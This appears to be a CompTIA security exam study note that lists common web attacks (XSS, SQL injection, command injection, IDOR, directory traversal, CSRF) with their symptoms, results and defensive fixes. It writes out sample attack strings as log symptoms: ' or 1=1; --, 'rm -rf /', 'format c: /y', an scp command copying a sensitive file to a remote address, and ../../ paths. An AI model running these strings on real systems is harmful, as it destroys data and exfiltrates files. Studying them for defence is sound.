Name, Symptom, and Result
CompTIA wants you to recognize common attack categories. You need to know simplified descriptions of their symptoms. And, know what they could lead to.
Cross-site Scripting / XSS
A page at "a popular social media site" contains:
It tricks your browser into sending an authentication cookie to a hostile server instead of the appropriate one.
Log of transactions includes:
' or 1=1; --
or: "Strange punctuation marks"
Literally anything that could be done on a database server. Deleting database tables, deleting records, changing records, adding records, and so on.
The web server log contains requests that include command syntax.
format c: /y
rm -rf /
scp /path/to-sensitive/file email@example.com:
In both operating systems, spaces may be replace with
Literally anything. The above likely examples show deleting entire file system and exfiltrating sensitive file contents.
Session Hijacking / Insecure Direct Object References
User Fred notices that when logged in to his bank the URL includes
user=fred, so he changes it to
user=mary and reloads the page,
and sees her data.
Now he's in a session as Mary, so he can do anything that she could do with her account.
Server log includes
../../ in requested URLs.
If the server allows itself to be tricked into climbing out of the web area, attacker can read and possibly execute files outside the web area.
Cross-Site Request Forgery / XSRF / CSRF
Malicious content within a popular page contains a malformed
<img src="..."> object.
A third party is disadvantaged, to the advantage of the person who dropped that comment into an unfiltered comment area.
Fixes for All of These
The common problem is that user input is not properly sanitized or validated for size, syntax, or meaning.
Adding or fixing input data validation means modifying software, so always apply patches.
WAFs or Web Application Firewalls know about these, so use one to protect the web front ends to public-facing services.